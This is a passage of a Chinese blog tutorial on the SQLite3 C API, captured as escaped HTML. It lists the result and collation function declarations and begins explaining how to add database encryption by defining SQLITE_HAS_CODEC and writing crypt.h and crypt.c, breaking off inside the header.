class=\"params\"\u003e(sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_value_int64\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_value_text\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_value_text16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_value_type\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的函数调用以下的API来获得上下文内容和返回结果:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_aggregate_context\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nbyte)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_user_data\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_result_blob\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e n, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e(*)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*))\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eqlite3_result_double\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003edouble\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_result_error\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_result_error16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_result_int\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_result_int64\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_result_null\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_result_text\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e n, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e(*)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*))\u003c/span\u003e; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_result_text16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e n, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e(*)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*))\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_result_value\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, sqlite3_value*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_get_auxdata\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_set_auxdata\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_context*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*))\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(4)用户自定义排序规则\u003c/p\u003e\u003cp\u003e下面的函数用来实现用户自定义的排序规则:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esqlite3_create_collation(sqlite3*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *zName, \u003cspan class=\"type\"\u003eint\u003c/span\u003e eTextRep, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e(*xCompare)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e,\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e,\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esqlite3_create_collation16(sqlite3*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *zName, \u003cspan class=\"type\"\u003eint\u003c/span\u003e eTextRep, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e(*xCompare)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e,\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e,\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esqlite3_collation_needed(sqlite3*, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e(*)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,sqlite3*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e eTextRep,\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e*));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esqlite3_collation_needed16(sqlite3*, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e(*)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,sqlite3*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e eTextRep,\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003esqlite3_create_collation() 函数用来声明一个排序序列和实现它的比较函数. 比较函数只能用来做文本的比较. eTextRep 参数可以取如下的预定义值 SQLITE_UTF8, SQLITE_UTF16LE, SQLITE_UTF16BE, SQLITE_ANY,用来表示比较函数所处理的文本的编码方式. 同一个自定义的排序规则的同一个比较函数可以有 UTF-8, UTF-16LE 和 UTF-16BE 等多个编码的版本. sqlite3_create_collation16()和sqlite3_create_collation() 的区别也仅仅在于排序名称的编码是 UTF-16 还是 UTF-8.\u003c/p\u003e\u003cp\u003e可以使用 sqlite3_collation_needed() 函数来注册一个回调函数,当数据库引擎遇到未知的排序规则时会自动调用该函数. 在回调函数中可以查找一个相似的比较函数,并激活相应的sqlite_3_create_collation()函数. 回调函数的第四个参数是排序规则的名称,同样sqlite3_collation_needed采用 UTF-8 编码. sqlite3_collation_need16() 采用 UTF-16 编码.\u003c/p\u003e\u003ch2 id=\"五、给数据库加密\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80SQLite3%E4%BD%BF%E7%94%A8%E6%80%BB%E7%BB%93/#%E4%BA%94%E3%80%81%E7%BB%99%E6%95%B0%E6%8D%AE%E5%BA%93%E5%8A%A0%E5%AF%86\" class=\"headerlink\" title=\"五、给数据库加密\"\u003e\u003c/a\u003e五、给数据库加密\u003c/h2\u003e\u003cp\u003e前面所说的内容网上已经有很多资料,虽然比较零散,但是花点时间也还是可以找到的。现在要说的这个——数据库加密,资料就很难找。也可能是我操作水平不够,找不到对应资料。但不管这样,我还是通过网上能找到的很有限的资料,探索出了给sqlite数据库加密的完整步骤。\u003c/p\u003e\u003cp\u003e这里要提一下,虽然 sqlite 很好用,速度快、体积小巧。但是它保存的文件却是明文的。若不信可以用 NotePad 打开数据库文件瞧瞧,里面 insert 的内容几乎一览无余。这样赤裸裸的展现自己,可不是我们的初衷。当然,如果你在嵌入式系统、智能手机上使用 sqlite,最好是不加密,因为这些系统运算能力有限,你做为一个新功能提供者,不能把用户有限的运算能力全部花掉。\u003c/p\u003e\u003cp\u003eSqlite为了速度而诞生。因此Sqlite本身不对数据库加密,要知道,如果你选择标准AES算法加密,那么一定有接近50%的时间消耗在加解密算法上,甚至更多(性能主要取决于你算法编写水平以及你是否能使用cpu提供的底层运算能力,比如MMX或sse系列指令可以大幅度提升运算速度)。\u003c/p\u003e\u003cp\u003eSqlite免费版本是不提供加密功能的,当然你也可以选择他们的收费版本,那你得支付2000块钱,而且是USD。我这里也不是说支付钱不好,如果只为了数据库加密就去支付2000块,我觉得划不来。因为下面我将要告诉你如何为免费的Sqlite扩展出加密模块——自己动手扩展,这是Sqlite允许,也是它提倡的。\u003c/p\u003e\u003cp\u003e那么,就让我们一起开始为 sqlite3.c 文件扩展出加密模块。\u003c/p\u003e\u003cp\u003e1 必要的宏\u003c/p\u003e\u003cp\u003e通过阅读 Sqlite 代码(当然没有全部阅读完,6万多行代码,没有一行是我习惯的风格,我可没那么多眼神去看),我搞清楚了两件事:\u003c/p\u003e\u003cp\u003eSqlite是支持加密扩展的;\u003c/p\u003e\u003cp\u003e需要 #define 一个宏才能使用加密扩展。\u003c/p\u003e\u003cp\u003e这个宏就是  SQLITE_HAS_CODEC。\u003c/p\u003e\u003cp\u003e你在代码最前面(也可以在 sqlite3.h 文件第一行)定义:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifndef\u003c/span\u003e SQLITE_HAS_CODEC\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_HAS_CODEC\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果你在代码里定义了此宏,但是还能够正常编译,那么应该是操作没有成功。因为你应该会被编译器提示有一些函数无法链接才对。如果你用的是 VC 2003,你可以在“解决方案”里右键点击你的工程,然后选“属性”,找到“C/C++”,再找到“命令行”,在里面手工添加“/D “SQLITE_HAS_CODEC””。\u003c/p\u003e\u003cp\u003e定义了这个宏,一些被 Sqlite 故意屏蔽掉的代码就被使用了。这些代码就是加解密的接口。\u003c/p\u003e\u003cp\u003e尝试编译,vc会提示你有一些函数无法链接,因为找不到他们的实现。\u003c/p\u003e\u003cp\u003e如果你也用的是VC2003,那么会得到下面的提示:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eerror LNK2019: 无法解析的外部符号 _sqlite3CodecGetKey ,该符号在函数 _attachFunc 中被引用\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eerror LNK2019: 无法解析的外部符号 _sqlite3CodecAttach ,该符号在函数 _attachFunc 中被引用\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eerror LNK2019: 无法解析的外部符号 _sqlite3_activate_see ,该符号在函数 _sqlite3Pragma 中被引用\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eerror LNK2019: 无法解析的外部符号 _sqlite3_key ,该符号在函数 _sqlite3Pragma 中被引用\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efatal error LNK1120: \u003cspan class=\"number\"\u003e4\u003c/span\u003e 个无法解析的外部命令\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这是正常的,因为Sqlite只留了接口而已,并没有给出实现。\u003c/p\u003e\u003cp\u003e下面就让我来实现这些接口。\u003c/p\u003e\u003cp\u003e2自己实现加解密接口函数\u003c/p\u003e\u003cp\u003e如果真要我从一份 \u003ca href=\"http://www.sqlite.org/\"\u003ewww.sqlite.org\u003c/a\u003e 网上down下来的 sqlite3.c 文件,直接摸索出这些接口的实现,我认为我还没有这个能力。\u003c/p\u003e\u003cp\u003e好在网上还有一些代码已经实现了这个功能。通过参照他们的代码以及不断编译中vc给出的错误提示,最终我把整个接口整理出来。\u003c/p\u003e\u003cp\u003e实现这些预留接口不是那么容易,要重头说一次怎么回事很困难。我把代码都写好了,直接把他们按我下面的说明拷贝到 sqlite3.c 文件对应地方即可。我在下面也提供了sqlite3.c 文件,可以直接参考或取下来使用。\u003c/p\u003e\u003cp\u003e这里要说一点的是,我另外新建了两个文件:crypt.c和crypt.h。\u003c/p\u003e\u003cp\u003e其中crypt.h如此定义:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifndef\u003c/span\u003e  DCG_SQLITE_CRYPT_FUNC_\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e  DCG_SQLITE_CRYPT_FUNC_\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/***********\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e董淳光写的 SQLITE 加密关键函数库\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***********/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/***********\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan 